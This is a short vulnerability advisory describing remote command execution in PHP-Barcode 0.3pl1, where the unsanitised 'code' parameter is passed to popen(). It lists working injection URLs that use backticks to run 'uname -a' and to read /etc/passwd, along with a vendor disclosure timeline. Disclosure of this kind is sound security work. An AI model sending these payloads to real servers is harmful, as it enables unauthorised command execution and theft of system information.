PHP-Barcode 0.3pl1 Code Execution

2011-07-27 / 2011-07-28
Credit: beford
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

PHP-Barcode 0.3pl1 Remote Code Execution The input passed to the code parameter is not sanitized and is used on a popen() function. This allows remote command execution and also allows to see environment vars: Windows http://www.site.com/php-barcode/barcode.php?code=%TMP% Linux http://www.site.com/php-barcode/barcode.php?code=012$PATH$d http://www.site.com/php-barcode/barcode.php?code=`uname%20-a` http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd` Vendor: http://www.ashberg.de/php-barcode/download/ Vendor informed: July 6 / 2011 Vendor acknowledgement: July 7 / 2011 Fix not available from vendor. - beford


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